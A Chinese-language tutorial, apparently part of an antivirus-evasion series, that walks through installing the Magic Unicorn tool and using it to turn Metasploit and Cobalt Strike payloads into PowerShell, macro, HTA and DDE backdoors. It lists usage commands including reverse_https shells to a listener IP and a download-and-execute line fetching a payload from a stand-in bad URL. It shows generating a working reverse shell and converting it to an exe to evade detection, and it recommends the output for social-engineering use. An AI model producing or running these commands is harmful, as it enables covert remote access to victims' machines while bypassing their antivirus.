0x01 免殺能力一覽表
幾點說明:
1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。
2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。
3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。
4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為免殺或殺軟能力的判斷指標。
5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。
0x02 Unicorn介紹
Magic Unicorn是一個比較簡單的小工具,主要是基于Matthew Graeber提出的PowerShell攻擊技術以及David Kennedy和Josh Kelly 提出的powershell bypass技術,把所有payload都轉換成powershell代碼。
Magic Unicorn支持cobalt strike、Metasploit和自定義的shellcode。
0x03 安裝Unicorn
安裝比較簡單
git clone https://github.com/trustedsec/unicorn.git
都不需要安裝其他的python庫,就可以直接運行。
當然還是需要已經安裝了Msf才行,因為Unicorn生成payload還是依賴msf,只不過它把payload轉換成了powershell命令來運行。
執行python unicorn.py
即可
0x04 Unicorn使用說明
可以使用python unicorn.py --help
命令查看詳細幫助
主要的幾個用法如下:
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
PS Down/Exec Macro: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe macro
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA SettingContent-ms Metasploit: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 ms
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example SettingContent-ms: python unicorn.py <cobalt_strike_file.cs cs ms
HTA Example SettingContent-ms: python unicorn.py <patth_to_shellcode.txt>: shellcode ms
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00 or metasploit)
Custom Shellcode HTA: python unicorn.py <path_to_shellcode.txt> shellcode hta (formatted 0x00 or metasploit)
Custom Shellcode Macro: python unicorn.py <path_to_shellcode.txt> shellcode macro (formatted 0x00 or metasploit)
Generate .SettingContent-ms: python unicorn.py ms
Help Menu: python unicorn.py --help
支持生成ps1、macro、hta、dde等形式的代碼和文件
0x05 利用Unicorn生成后門
我以最常規的windows/meterpreter/reverse_https
來生成payload
生成命令為
python unicorn.py windows/meterpreter/reverse_https 10.211.55.2 3334
其中10.211.55.2和3334是我msf監聽的ip和端口
生成了兩個文件powershell_attack.txt和unicorn.rc
其中powershell_attack.txt是生成的payload
而unicorn.rc是msf配置文件,也就是用msfconsole -r unicorn.rc命令可以快捷的啟動msf并監聽相應端口
然后我們在測試機器上執行powershell_attack.txt里的代碼
可正常上線
可以把powershell代碼轉換成exe,使用bat2exe就可以,生成ps1.exe
執行ps1.exe,發現觸發了360安全衛士的行為檢測,不過火絨沒有反應。
0x05 小結
Unicorn使用比較簡單,可以生成powershell代碼、macro宏代碼、hta、dde等格式的payload文件,可以在社工時直接使用,不過因為生成的代碼關鍵字比較明顯,所以靜態查殺很多都沒通過,只能說生成代碼多樣但免殺效果一般。
上面用到bat2exe工具和zirikatu已經放在tools文件夾中,還算挺好使
https://github.com/TideSec/BypassAntiVirus/tree/master/tools
參考
magic-unicorn:https://www.hackingarticles.in/magic-unicorn-powershell-downgrade-attack-and-exploitation-tool/
過win10防火墻和windows defender:https://null-byte.wonderhowto.com/how-to/hacking-windows-10-create-undetectable-payload-part-1-bypassing-antivirus-software-0185055/